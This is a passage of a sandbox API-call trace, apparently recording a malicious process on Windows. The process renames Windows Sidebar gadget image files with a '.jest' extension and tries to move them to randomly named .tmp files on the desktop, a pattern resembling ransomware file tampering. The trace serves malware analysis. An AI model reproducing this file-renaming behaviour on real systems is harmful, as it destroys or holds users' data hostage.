lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_over.png") returned 0x86 [0127.054] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.054] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_over.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_over.png") returned 0x86 [0127.054] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.054] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_over.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_over.png") returned 0x86 [0127.054] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.054] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_over.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_over.png") returned 0x88 [0127.055] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.055] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_over.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_over.png") returned 0x88 [0127.055] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.056] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_over.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_over.png") returned 0x88 [0127.056] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.056] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_over.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_over.png") returned 0x88 [0127.056] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.056] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_over.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_over.png") returned 0x88 [0127.057] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.057] GetTickCount () returned 0x1152359 [0127.057] GetTickCount () returned 0x1152359 [0127.057] CoFreeUnusedLibraries () [0127.057] GetTickCount () returned 0x1152359 [0127.057] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.057] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.057] GetTickCount () returned 0x1152359 [0127.057] IsWindowVisible (hWnd=0x30268) returned 0 [0127.057] Sleep (dwMilliseconds=0x0) [0127.058] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile16.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile16.png.jest")) returned 0 [0127.061] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png", lpFilePart=0x18e6d8*="tile16.png") returned 0x55 [0127.061] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba167840, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba167840, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0b6a37c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x57, dwReserved1=0x0, cFileName="tile16.png", cAlternateFileName="")) returned 0x143ce48 [0127.062] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.064] VarBstrFromR4 (in: fltIn=0x47944578, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.94") returned 0x0 [0127.064] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.064] GetTickCount () returned 0x1152359 [0127.064] GetTickCount () returned 0x1152359 [0127.064] CoFreeUnusedLibraries () [0127.064] GetTickCount () returned 0x1152359 [0127.064] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.064] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.064] GetTickCount () returned 0x1152359 [0127.064] IsWindowVisible (hWnd=0x30268) returned 0 [0127.064] Sleep (dwMilliseconds=0x0) [0127.065] GetFullPathNameA (in: lpFileName="_V_Av9b7IPrL1-jVrDwuZ 24_8tW0LVwkQYGbrWZp6XVin5Km4GTlUXnacD-8Ge rugSRhPeSD_ ngJnvQpv-l20 Ul_jFN6Q9ob.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_V_Av9b7IPrL1-jVrDwuZ 24_8tW0LVwkQYGbrWZp6XVin5Km4GTlUXnacD-8Ge rugSRhPeSD_ ngJnvQpv-l20 Ul_jFN6Q9ob.tmp", lpFilePart=0x18e708*="_V_Av9b7IPrL1-jVrDwuZ 24_8tW0LVwkQYGbrWZp6XVin5Km4GTlUXnacD-8Ge rugSRhPeSD_ ngJnvQpv-l20 Ul_jFN6Q9ob.tmp") returned 0x8e [0127.066] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png", lpFilePart=0x18e708*="tile16.png") returned 0x55 [0127.066] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_V_Av9b7IPrL1-jVrDwuZ 24_8tW0LVwkQYGbrWZp6XVin5Km4GTlUXnacD-8Ge rugSRhPeSD_ ngJnvQpv-l20 Ul_jFN6Q9ob.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_v_av9b7iprl1-jvrdwuz 24_8tw0lvwkqygbrwzp6xvin5km4gtluxnacd-8ge rugsrhpesd_ ngjnvqpv-l20 ul_jfn6q9ob.tmp")) returned 0 [0127.068] GetLastError () returned 0x5 [0127.068] GetLastError () returned 0x5 [0127.068] SetLastError (dwErrCode=0x5) [0127.068] GetLastError () returned 0x5 [0127.068] SetLastError (dwErrCode=0x5) [0127.068] GetLastError () returned 0x5 [0127.068] SetLastError (dwErrCode=0x5) [0127.068] GetFullPathNameA (in: lpFileName="_V_Av9b7IPrL1-jVrDwuZ 24_8tW0LVwkQYGbrWZp6XVin5Km4GTlUXnacD-8Ge rugSRhPeSD_ ngJnvQpv-l20 Ul_jFN6Q9ob.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_V_Av9b7IPrL1-jVrDwuZ 24_8tW0LVwkQYGbrWZp6XVin5Km4GTlUXnacD-8Ge rugSRhPeSD_ ngJnvQpv-l20 Ul_jFN6Q9ob.tmp", lpFilePart=0x18e6e4*="_V_Av9b7IPrL1-jVrDwuZ 24_8tW0LVwkQYGbrWZp6XVin5Km4GTlUXnacD-8Ge rugSRhPeSD_ ngJnvQpv-l20 Ul_jFN6Q9ob.tmp") returned 0x8e [0127.068] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_V_Av9b7IPrL1-jVrDwuZ 24_8tW0LVwkQYGbrWZp6XVin5Km4GTlUXnacD-8Ge rugSRhPeSD_ ngJnvQpv-l20 Ul_jFN6Q9ob.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x415f565f, cFileName="v9b7IPrL1-jVrDwuZ 24_8tW0LVwkQYGbrWZp6XVin5Km4GTlUXnacD-8Ge rugSRhPeSD_ ngJnvQpv-l20 Ul_jFN6Q9ob.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.069] GetLastError () returned 0x2 [0127.069] GetLastError () returned 0x2 [0127.069] SetLastError (dwErrCode=0x2) [0127.070] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.070] GetTickCount () returned 0x1152359 [0127.070] GetTickCount () returned 0x1152359 [0127.070] CoFreeUnusedLibraries () [0127.070] GetTickCount () returned 0x1152359 [0127.070] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.070] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.071] GetTickCount () returned 0x1152369 [0127.071] IsWindowVisible (hWnd=0x30268) returned 0 [0127.071] Sleep (dwMilliseconds=0x0) [0127.072] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_up.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_up.png.jest")) returned 0 [0127.074] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png", lpFilePart=0x18e6d8*="timer_up.png") returned 0x57 [0127.074] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1d9c5d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1d9c5d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0c028fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x57, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 0x143ce48 [0127.075] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.076] VarBstrFromR4 (in: fltIn=0x4794457a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.95") returned 0x0 [0127.077] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.077] GetTickCount () returned 0x1152369 [0127.077] GetTickCount () returned 0x1152369 [0127.077] CoFreeUnusedLibraries () [0127.077] GetTickCount () returned 0x1152369 [0127.077] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.077] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.077] GetTickCount () returned 0x1152369 [0127.077] IsWindowVisible (hWnd=0x30268) returned 0 [0127.077] Sleep (dwMilliseconds=0x0) [0127.077] GetFullPathNameA (in: lpFileName="OPow8Kfu02cvYRzfWIBEBDI-j5MqjVUY8Dn3TTolh87zEVv tcr6beixilQ2wAHIwU-PP9H_TCPMeMdHWbdUyRRlL0U2Sis-fYif6.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OPow8Kfu02cvYRzfWIBEBDI-j5MqjVUY8Dn3TTolh87zEVv tcr6beixilQ2wAHIwU-PP9H_TCPMeMdHWbdUyRRlL0U2Sis-fYif6.tmp", lpFilePart=0x18e708*="OPow8Kfu02cvYRzfWIBEBDI-j5MqjVUY8Dn3TTolh87zEVv tcr6beixilQ2wAHIwU-PP9H_TCPMeMdHWbdUyRRlL0U2Sis-fYif6.tmp") returned 0x8f [0127.078] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png", lpFilePart=0x18e708*="timer_up.png") returned 0x57 [0127.078] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\timer_up.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\timer_up.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OPow8Kfu02cvYRzfWIBEBDI-j5MqjVUY8Dn3TTolh87zEVv tcr6beixilQ2wAHIwU-PP9H_TCPMeMdHWbdUyRRlL0U2Sis-fYif6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\opow8kfu02cvyrzfwibebdi-j5mqjvuy8dn3ttolh87zevv tcr6beixilq2wahiwu-pp9h_tcpmemdhwbduyrrll0u2sis-fyif6.tmp")) returned 0 [0127.080] GetLastError () returned 0x5 [0127.080] GetLastError () returned 0x5 [0127.080] SetLastError (dwErrCode=0x5) [0127.080] GetLastError () returned 0x5 [0127.080] SetLastError (dwErrCode=0x5) [0127.080] GetLastError () returned 0x5 [0127.080] SetLastError (dwErrCode=0x5) [0127.081] GetFullPathNameA (in: lpFileName="OPow8Kfu02cvYRzfWIBEBDI-j5MqjVUY8Dn3TTolh87zEVv tcr6beixilQ2wAHIwU-PP9H_TCPMeMdHWbdUyRRlL0U2Sis-fYif6.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OPow8Kfu02cvYRzfWIBEBDI-j5MqjVUY8Dn3TTolh87zEVv tcr6beixilQ2wAHIwU-PP9H_TCPMeMdHWbdUyRRlL0U2Sis-fYif6.tmp", lpFilePart=0x18e6e4*="OPow8Kfu02cvYRzfWIBEBDI-j5MqjVUY8Dn3TTolh87zEVv tcr6beixilQ2wAHIwU-PP9H_TCPMeMdHWbdUyRRlL0U2Sis-fYif6.tmp") returned 0x8f [0127.081] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OPow8Kfu02cvYRzfWIBEBDI-j5MqjVUY8Dn3TTolh87zEVv tcr6beixilQ2wAHIwU-PP9H_TCPMeMdHWbdUyRRlL0U2Sis-fYif6.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x776f504f, cFileName="8Kfu02cvYRzfWIBEBDI-j5MqjVUY8Dn3TTolh87zEVv tcr6beixilQ2wAHIwU-PP9H_TCPMeMdHWbdUyRRlL0U2Sis-fYif6.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.081] GetLastError () returned 0x2 [0127.081] GetLastError () returned 0x2 [0127.081] SetLastError (dwErrCode=0x2) [0127.081] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.082] GetTickCount () returned 0x1152369 [0127.082] GetTickCount () returned 0x1152369 [0127.082] CoFreeUnusedLibraries () [0127.082] GetTickCount () returned 0x1152369 [0127.082] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.082] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.082] GetTickCount () returned 0x1152369 [0127.082] IsWindowVisible (hWnd=0x30268) returned 0 [0127.082] Sleep (dwMilliseconds=0x0) [0127.082] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\drag.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\drag.png.jest")) returned 0 [0127.083] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png", lpFilePart=0x18e6d8*="drag.png") returned 0x47 [0127.083] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbb96990, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbb96990, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc45e1fdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2141, dwReserved0=0x57, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 0x143ce48 [0127.083] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.083] VarBstrFromR4 (in: fltIn=0x4794457a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.95") returned 0x0 [0127.084] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.084] GetTickCount () returned 0x1152369 [0127.084] GetTickCount () returned 0x1152369 [0127.084] CoFreeUnusedLibraries () [0127.084] GetTickCount () returned 0x1152369 [0127.084] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.084] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.084] GetTickCount () returned 0x1152369 [0127.084] IsWindowVisible (hWnd=0x30268) returned 0 [0127.084] Sleep (dwMilliseconds=0x0) [0127.084] GetFullPathNameA (in: lpFileName="JxFQihSIJLmjB1qVfrBnpFfoirpRAisUt0Zf BpqNZQPbGCQwNxSvRtyDxYPRYWAyFEjDgMGGOqngHf5EyEO7_3COCwwZ7vBhIM.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JxFQihSIJLmjB1qVfrBnpFfoirpRAisUt0Zf BpqNZQPbGCQwNxSvRtyDxYPRYWAyFEjDgMGGOqngHf5EyEO7_3COCwwZ7vBhIM.tmp", lpFilePart=0x18e708*="JxFQihSIJLmjB1qVfrBnpFfoirpRAisUt0Zf BpqNZQPbGCQwNxSvRtyDxYPRYWAyFEjDgMGGOqngHf5EyEO7_3COCwwZ7vBhIM.tmp") returned 0x8d [0127.084] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png", lpFilePart=0x18e708*="drag.png") returned 0x47 [0127.085] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\drag.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\drag.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JxFQihSIJLmjB1qVfrBnpFfoirpRAisUt0Zf BpqNZQPbGCQwNxSvRtyDxYPRYWAyFEjDgMGGOqngHf5EyEO7_3COCwwZ7vBhIM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jxfqihsijlmjb1qvfrbnpffoirpraisut0zf bpqnzqpbgcqwnxsvrtydxyprywayfejdgmggoqnghf5eyeo7_3cocwwz7vbhim.tmp")) returned 0 [0127.085] GetLastError () returned 0x5 [0127.085] GetLastError () returned 0x5 [0127.085] SetLastError (dwErrCode=0x5) [0127.085] GetLastError () returned 0x5 [0127.085] SetLastError (dwErrCode=0x5) [0127.085] GetLastError () returned 0x5 [0127.085] SetLastError (dwErrCode=0x5) [0127.085] GetFullPathNameA (in: lpFileName="JxFQihSIJLmjB1qVfrBnpFfoirpRAisUt0Zf BpqNZQPbGCQwNxSvRtyDxYPRYWAyFEjDgMGGOqngHf5EyEO7_3COCwwZ7vBhIM.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JxFQihSIJLmjB1qVfrBnpFfoirpRAisUt0Zf BpqNZQPbGCQwNxSvRtyDxYPRYWAyFEjDgMGGOqngHf5EyEO7_3COCwwZ7vBhIM.tmp", lpFilePart=0x18e6e4*="JxFQihSIJLmjB1qVfrBnpFfoirpRAisUt0Zf BpqNZQPbGCQwNxSvRtyDxYPRYWAyFEjDgMGGOqngHf5EyEO7_3COCwwZ7vBhIM.tmp") returned 0x8d [0127.085] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JxFQihSIJLmjB1qVfrBnpFfoirpRAisUt0Zf BpqNZQPbGCQwNxSvRtyDxYPRYWAyFEjDgMGGOqngHf5EyEO7_3COCwwZ7vBhIM.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5146784a, cFileName="ihSIJLmjB1qVfrBnpFfoirpRAisUt0Zf BpqNZQPbGCQwNxSvRtyDxYPRYWAyFEjDgMGGOqngHf5EyEO7_3COCwwZ7vBhIM.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.086] GetLastError () returned 0x2 [0127.086] GetLastError () returned 0x2 [0127.086] SetLastError (dwErrCode=0x2) [0127.086] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.086] GetTickCount () returned 0x1152379 [0127.087] GetTickCount () returned 0x1152379 [0127.087] CoFreeUnusedLibraries () [0127.087] GetTickCount () returned 0x1152379 [0127.087] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.087] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.087] GetTickCount () returned 0x1152379 [0127.087] IsWindowVisible (hWnd=0x30268) returned 0 [0127.087] Sleep (dwMilliseconds=0x0) [0127.087] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\icon.png" (normalized: "c:\\program files 